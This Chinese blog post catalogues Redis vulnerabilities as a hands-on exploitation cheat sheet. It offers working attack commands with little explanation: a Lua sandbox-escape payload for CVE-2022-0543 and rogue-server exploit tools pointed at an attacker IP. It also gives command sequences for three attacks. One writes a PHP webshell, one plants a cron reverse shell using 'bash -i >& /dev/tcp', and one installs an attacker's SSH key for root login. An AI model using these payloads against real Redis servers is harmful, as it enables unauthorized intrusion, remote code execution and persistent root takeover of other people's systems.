Redis相关漏洞

发布时间 2023-12-15 17:05:07作者: 江止
 

默认端口:6379

Redis是一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值存储数据库,并提供多种语言的API。Redis如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。

RCE-CVE-2022-0543

工具:Another Redis Desktop Manager

使用工具连接redis

如果存在未授权访问,即可连接成功。

点击redis控制台,输入poc

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

执行命令。

CNVD-2019-21763

工具:redis-rogue-getshell

 https://github.com/vulhub/redis-rogue-getshell
cd RedisModulesSDK/
make
python3 redis-master.py  -r 目标IP -p 6379 -L 攻击IP -P 8888 -f RedisModulesSDK/exp.so -c "id"

 

 

 失败原因:因为需要外部访问服务器端口,安全组策略需要开放端口访问。

CNVD-2015-07557

 工具项目:redis-rogue-server
 https://github.com/n0b0dyCN/redis-rogue-server
 
python3 redis-rogue-server.py --rhost 目标IP --rport 目标端口 --lhost IP

 

-Webshell需得到Web路径

利用条件:Web目录权限可读写

config set dir /tmp            #设置WEB写入目录

config set dbfilename 1.php    #设置写入文件名

set test "<?php phpinfo();?>"  #设置写入文件代码

bgsave                         #保存执行

save                           #保存执行

注意:部分没目录权限读写权限               

 

-写定时任务反弹shell

利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态

config set dir /var/spool/cron

set yy "\n\n\n* * * * * bash -i >& /dev/tcp/x.x.x.x/x 0>&1\n\n\n"

config set dbfilename x

save

 

-写入Linux ssh-key公钥

利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态

允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器

ssh-keygen -t rsa

cd /root/.ssh/

(echo -"\n\n"; cat id_rsa.pub; echo -"\n\n") > key.txt

cat key.txt | redis-cli -h 目标IP -x set xxx

//以上步骤在自己的攻击机器上执行

config set dir /root/.ssh/

config set dbfilename authorized_keys

save

cd /root/.ssh/

ssh -i id_rsa root@目标IP